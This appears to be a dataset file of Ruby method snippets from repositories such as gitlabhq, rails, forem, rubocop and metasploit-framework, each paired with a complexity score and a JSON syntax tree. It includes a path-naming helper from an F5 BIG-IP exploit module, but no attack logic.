{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/codepen_tag.rb","start_line":59,"raw_source":"def valid_link?(link)\n    link_no_space = link.delete(\" \")\n    (link_no_space =~ REGISTRY_REGEXP)&.zero?\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_link?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_no_space\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_no_space\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]}]}]},\"zero?\"]}]}]}","id":"ef7b424b-770f-412f-a6e6-6778a13e6af9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles/notifications_controller.rb","start_line":27,"raw_source":"def user_params\n    params.require(:user).permit(:notification_email, :notified_of_own_activity)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"notification_email\"]},{\"type\":\"sym\",\"children\":[\"notified_of_own_activity\"]}]}]}","id":"aa42da3a-2ba8-4dc1-821b-fb471d81a653"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":21,"raw_source":"def test_dump_schema_versions_with_empty_versions\n    @schema_migration.delete_all_versions\n    schema_info = ActiveRecord::Base.lease_connection.dump_schema_versions\n    assert_no_match(/INSERT INTO/, schema_info)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dump_schema_versions_with_empty_versions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},\"delete_all_versions\"]},{\"type\":\"lvasgn\",\"children\":[\"schema_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"dump_schema_versions\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"schema_info\"]}]}]}]}","id":"9d7ea011-0439-436a-bae2-6f5d0d6ba6e2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":1685,"raw_source":"def test_the_uuid_for_regular_transactions_is_generated_and_memoized\n    Topic.transaction do\n      transaction = Topic.current_transaction\n      uuid = transaction.uuid\n      assert_match(/\\A[[:xdigit:]]{8}-(?:[[:xdigit:]]{4}-){3}[[:xdigit:]]{12}\\z/, uuid)\n      assert_equal uuid, transaction.uuid\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_the_uuid_for_regular_transactions_is_generated_and_memoized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transaction\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"current_transaction\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[[:xdigit:]]{8}-(?:[[:xdigit:]]{4}-){3}[[:xdigit:]]{12}\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"uuid\"]}]}]}]}]}","id":"ceab621e-dda5-4675-aa54-bdc85fb6414d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_post_count_serializer.rb","start_line":44,"raw_source":"def flair_color\n    object[:user]&.flair_group&.flair_color\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"flair_color\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"flair_group\"]},\"flair_color\"]}]}","id":"06f62194-d294-47a8-a25c-5e6b0cdaf94c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_argument_indentation.rb","start_line":276,"raw_source":"def enable_layout_first_method_argument_line_break?\n          config.cop_enabled?('Layout/FirstMethodArgumentLineBreak')\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_layout_first_method_argument_line_break?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"cop_enabled?\",{\"type\":\"str\",\"children\":[\"Layout/FirstMethodArgumentLineBreak\"]}]}]}","id":"10968704-6bb5-4103-a05f-8d2d8906e129"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/enumerations/item_component.rb","start_line":128,"raw_source":"def deletion_enumeration(menu)\n        menu.with_item(label: I18n.t(:button_delete),\n                       tag: :button,\n                       scheme: :danger,\n                       href: helpers.url_for(action: :destroy, id: enumeration),\n                       form_arguments: { method: :delete }) do |item|\n          item.with_leading_visual_icon(icon: :trash)\n        end\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"deletion_enumeration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_delete\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"button\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"enumeration\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"delete\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"trash\"]}]}]}]}]}]}","id":"4781c9e0-9d48-4d4e-a931-baf538ce200f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/open_project/users/avatar_component_preview.rb","start_line":47,"raw_source":"def sizes\n      user = FactoryBot.build_stubbed(:user)\n      render_with_template(locals: { user: })\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sizes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_with_template\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]}]}","id":"fc7c82b5-56a8-4271-b840-29cd1cfb98a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb","start_line":60,"raw_source":"def observe\n    transaction_duration_observer.before\n    run_transaction\n    transaction_duration_observer.after\n    transaction_duration_observer.record\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"observe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_duration_observer\"]},\"before\"]},{\"type\":\"send\",\"children\":[null,\"run_transaction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_duration_observer\"]},\"after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_duration_observer\"]},\"record\"]}]}]}","id":"840ec454-15a6-4a52-b123-f16775bc1674"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/tag_adjustment_creation_service.rb","start_line":22,"raw_source":"def update_article\n    if @tag_adjustment.adjustment_type == \"removal\"\n      removed_tags = article.tag_list.select { |tag| tag.casecmp(@tag_adjustment.tag_name).zero? }\n      return if removed_tags.empty?\n\n      article.update!(tag_list: article.tag_list.remove(removed_tags))\n    end\n\n    update_tag_list = @tag_adjustment.adjustment_type == \"addition\"\n    article.update!(tag_list: article.tag_list.add(@tag_adjustment.tag_name)) if update_tag_list\n  end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_adjustment\"]},\"adjustment_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"removal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed_tags\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"tag_list\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"casecmp\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_adjustment\"]},\"tag_name\"]}]},\"zero?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_tags\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"tag_list\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"removed_tags\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"update_tag_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_adjustment\"]},\"adjustment_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"addition\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_tag_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"tag_list\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_adjustment\"]},\"tag_name\"]}]}]}]}]},null]}]}]}","id":"560e8dd5-245f-48ce-9cc8-2c0e7f49ca9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2469,"raw_source":"def collaborative_push_possible?\n    source_project.present? && for_fork? &&\n      target_project.visibility_level > Gitlab::VisibilityLevel::PRIVATE &&\n      source_project.visibility_level > Gitlab::VisibilityLevel::PRIVATE &&\n      !ProtectedBranch.protected?(source_project, source_branch)\n  end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"collaborative_push_possible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"for_fork?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"visibility_level\"]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"PRIVATE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},\"visibility_level\"]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"PRIVATE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedBranch\"]},\"protected?\",{\"type\":\"send\",\"children\":[null,\"source_project\"]},{\"type\":\"send\",\"children\":[null,\"source_branch\"]}]},\"!\"]}]}]}","id":"99a74a03-7483-4aff-9cce-22836dd30aaa"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_as_last_array_item.rb","start_line":74,"raw_source":"def check_no_braces(node)\n          return unless node.braces?\n          return if node.children.empty? # Empty hash cannot be \"unbraced\"\n\n          add_offense(node, message: 'Omit the braces around the hash.') do |corrector|\n            remove_last_element_trailing_comma(corrector, node.parent)\n            corrector.remove(node.loc.begin)\n            corrector.remove(node.loc.end)\n          end\n        end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_no_braces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"braces?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Omit the braces around the hash.\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_last_element_trailing_comma\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]}]}]}]}]}]}","id":"7a9ba344-e69f-4aeb-b71b-bc7bface2052"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/client.rb","start_line":126,"raw_source":"def ldapwhoami(args = {})\n          instrument \"ldapwhoami.net_ldap\", args do |payload|\n            @result = use_connection(args, &:ldapwhoami)\n            if @result.success?\n              @result.extended_response\n            else\n              raise Net::LDAP::Error, \"#{peerinfo} LDAP Error: #{@result.error_message}\"\n            end\n          end\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ldapwhoami\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"str\",\"children\":[\"ldapwhoami.net_ldap\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[null,\"use_connection\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"ldapwhoami\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"extended_response\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peerinfo\"]}]},{\"type\":\"str\",\"children\":[\" LDAP Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"error_message\"]}]}]}]}]}]}]}]}","id":"b3a6c961-16fe-4f3f-a5c3-ae66ac7859e8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":545,"raw_source":"def test_joins_with_nil_argument\n    assert_nothing_raised { DependentFirm.joins(nil).first }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_joins_with_nil_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependentFirm\"]},\"joins\",{\"type\":\"nil\",\"children\":[]}]},\"first\"]}]}]}","id":"1ec473b8-0087-4883-b9e8-9d31ac7187ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/github/cancel_project_import_service.rb","start_line":30,"raw_source":"def cannot_cancel_error_message\n        format(\n          _('The import cannot be canceled because it is %{project_status}'),\n          project_status: project.import_state.status\n        )\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cannot_cancel_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The import cannot be canceled because it is %{project_status}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_state\"]},\"status\"]}]}]}]}]}","id":"969ddac7-1dc5-4065-800e-363faec60a78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/sentry_issue.rb","start_line":22,"raw_source":"def ensure_sentry_issue_identifier_is_unique_per_project\n    if issue && self.class.for_project_and_identifier(issue.project, sentry_issue_identifier).present?\n      # Custom message because field is hidden\n      errors.add(:_, _('is already associated to a GitLab Issue. New issue will not be associated.'))\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_sentry_issue_identifier_is_unique_per_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"for_project_and_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"sentry_issue_identifier\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"_\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"is already associated to a GitLab Issue. New issue will not be associated.\"]}]}]},null]}]}","id":"13c78f69-501f-4f45-a584-07858cd3bf27"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb","start_line":284,"raw_source":"def script_path\n    @script_path ||=\n      normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"script_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@script_path\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[42]}]}]}]}]}]}","id":"1f7bfaf9-df6e-4f44-99dd-b4e794b93225"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":761,"raw_source":"def test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited\n    assert_not_equal(\n      PeopleList.reflect_on_association(:belongs_to),\n      DifferentPeopleList.reflect_on_association(:belongs_to)\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"belongs_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DifferentPeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"belongs_to\"]}]}]}]}","id":"a656c84c-e919-42ab-8aec-2cc18943c930"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/repository/commit.rb","start_line":25,"raw_source":"def fabricate_via_api!\n          return api_get if actions.empty?\n\n          super\n        rescue ResourceNotFoundError\n          result = super\n\n          project.wait_for_push(commit_message)\n\n          result\n        end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate_via_api!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_get\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceNotFoundError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"wait_for_push\",{\"type\":\"send\",\"children\":[null,\"commit_message\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]}]}","id":"38cfd2d2-a749-4f4a-aee1-b4cbb4809a5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/application_controller.rb","start_line":60,"raw_source":"def auth_token\n    params[:jwt] || request.headers['Authorization']&.split(' ', 2)&.last\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jwt\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"split\",{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"int\",\"children\":[2]}]},\"last\"]}]}]}","id":"3d0e7547-2808-4bd8-8c42-2e361a49ac5a"}
{"repo_name":"rails","file_path":"./repos/rails/guides/bug_report_templates/active_job.rb","start_line":33,"raw_source":"def test_stuff\n    assert_enqueued_with(job: BuggyJob) do\n      BuggyJob.perform_later\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stuff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"BuggyJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BuggyJob\"]},\"perform_later\"]}]}]}","id":"e05884bd-b2b5-4888-ab37-eaeedd9c4a2c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/grids/grid_area.rb","start_line":139,"raw_source":"def move_to(element)\n        action = page\n                 .driver\n                 .browser\n                 .action\n                 .move_to(element.native)\n\n        yield action\n\n        action.perform\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"action\"]},\"move_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"native\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"perform\"]}]}]}","id":"6e57d95f-1391-43db-9e51-63185d5af31b"}
